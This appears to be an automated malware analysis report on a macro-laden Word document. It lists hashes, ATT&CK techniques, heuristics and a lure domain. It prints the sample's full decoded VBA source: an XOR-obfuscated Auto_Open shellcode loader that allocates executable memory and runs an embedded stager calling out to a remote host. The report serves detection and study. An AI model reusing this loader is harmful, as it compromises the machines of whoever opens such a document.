Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 2eb6b62c7e6a7469…

MALICIOUS

Office (OOXML) / .DOC

27.5 KB Created: 2020-05-21 15:23:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2022-10-14
MD5: 65ea47520f706c6b0e04e5a5e76ef3f5 SHA-1: 288e0cbf74eed301574eaf32900d8522afb20a3b SHA-256: 2eb6b62c7e6a7469364fe26ea6f9ec00cfd7b60e641c5358415abc3c30722420
98 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including an Auto_Open macro, which is a common technique for executing malicious code upon opening a document. The critical heuristic 'VBA native-memory callback shellcode loader' indicates the macro likely decodes and executes shellcode. The script uses XOR obfuscation and reconstructs API calls like CreateThread and VirtualAlloc, strongly suggesting it downloads and executes a second-stage payload. The embedded hyperlink to 'blank-dogovor-kupli-prodazhi.ru' further supports a phishing or social engineering lure.

Heuristics 5

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
        Private Declare PtrSafe Function VirtualAlloc Lib wydp93hw(chr(51) & chr(61) & "" & chr(42) & "" & "6" & chr(61) & "" & "4" & chr(107) & "" & chr(106) ) (ByVal Qhtxd As Long, ByVal Gzo As Long, ByVal Ljifi As Long, ByVal Eanefbhx As Long) As LongPtr
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • External hyperlinks (2) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 2 external hyperlinks — clickable URLs are stored as external relationships. First target: https://blank-dogovor-kupli-prodazhi.ru/
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.blank-dogovor-kupli-prodazhi.ru/ In document text (OOXML body / shared strings)
    • https://blank-dogovor-kupli-prodazhi.ru/Document hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5314 bytes
SHA-256: 53e0d7583cd39c44fb83071f84914fc8f4b9b1da99b9a79e705cc7ccefb16866
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function o0mg(str As String) As Variant: Dim bytes() As Byte: bytes = str: o0mg = bytes: End Function
Function vl9n(bytes() As Byte) As String: Dim str As String: str = bytes: vl9n = str: End Function

Function wydp93hw(str As String) As String
    Const p_ As String = "vf1qoqxn"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = o0mg(str)
    pb_ = o0mg(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    wydp93hw = vl9n(scb_)
End Function


#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib wydp93hw(chr(51) & chr(61) & "" & chr(42) & "" & "6" & chr(61) & "" & "4" & chr(107) & "" & chr(106) ) (ByVal Gpt As Long, ByVal Lkpz As Long, ByVal Qxq As LongPtr, Cpuj As Long, ByVal Scfu As Long, Egxbmy As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib wydp93hw(chr(51) & chr(61) & "" & chr(42) & "" & "6" & chr(61) & "" & "4" & chr(107) & "" & chr(106) ) (ByVal Qhtxd As Long, ByVal Gzo As Long, ByVal Ljifi As Long, ByVal Eanefbhx As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib wydp93hw(chr(51) & chr(61) & "" & chr(42) & "" & "6" & chr(61) & "" & "4" & chr(107) & "" & chr(106) ) (ByVal Ptfxyn As LongPtr, ByRef Hql As Any, ByVal Cusoad As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib wydp93hw(chr(51) & chr(61) & "" & chr(42) & "" & "6" & chr(61) & "" & "4" & chr(107) & "" & chr(106) ) (ByVal Gpt As Long, ByVal Lkpz As Long, ByVal Qxq As Long, Cpuj As Long, ByVal Scfu As Long, Egxbmy As Long) As Long
    Private Declare Function VirtualAlloc Lib wydp93hw(chr(51) & chr(61) & "" & chr(42) & "" & "6" & chr(61) & "" & "4" & chr(107) & "" & chr(106) ) (ByVal Qhtxd As Long, ByVal Gzo As Long, ByVal Ljifi As Long, ByVal Eanefbhx As Long) As Long
    Private Declare Function RtlMoveMemory Lib wydp93hw(chr(51) & chr(61) & "" & chr(42) & "" & "6" & chr(61) & "" & "4" & chr(107) & "" & chr(106) ) (ByVal Ptfxyn As Long, ByRef Hql As Any, ByVal Cusoad As Long) As Long
#End If

Sub vz3z5el3()
    Dim us4p1og2 As Long
#If VBA7 Then
    Dim v3p84qrp As LongPtr
#Else
    Dim hnimg16b As Long
#End If
    Kwgzjutve = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 232, 62, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 0, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, _
83, 104, 57, 5, 0, 0, 232, 212, 0, 0, 0, 47, 117, 86, 72, 95, 119, 57, 114, 107, 66, 73, 84, 89, 70, 78, 107, 86, 104, 116, 74, 110, 74, 103, 80, 107, 57, 112, 110, 74, 86, 104, 107, 114, 108, 50, 87, 85, 76, 82, 48, 65, 79, 88, 48, 111, 117, 67, 68, 84, 110, 117, 101, 76, 66, 78, 99, 108, 69, 57, 115, 115, 84, 100, 87, 114, 51, 105, 113, 0, _
80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 232, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, _
213, 79, 117, 205, 232, 70, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 49, 55, 50, 46, 48, 46, 48, 46, 49, 0, 187, _
240, 181, 162, 86, 106, 0, 83, 255, 213)

    Hzwiuj = VirtualAlloc(0, UBound(Kwgzjutve), &H1000, &H40)
    For Idw = LBound(Kwgzjutve) To UBound(Kwgzjutve)
        Prtez = Kwgzjutve(Idw)
        Igqgfmrhb = RtlMoveMemory(Hzwiuj + Idw, Prtez, 1)
    Next Idw
    Igqgfmrhb = CreateThread(0, 0, Hzwiuj, 0, 0, 0)
End Sub
Sub hz98u3bg()
    Auto_Open
End Sub
Sub gra0o6l0()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 579081d00891ef94d43924550fa43fa109f5a0d7debfdb32f2bd86c973fac04d

Open this report in the interactive analyzer, or submit your own file for analysis.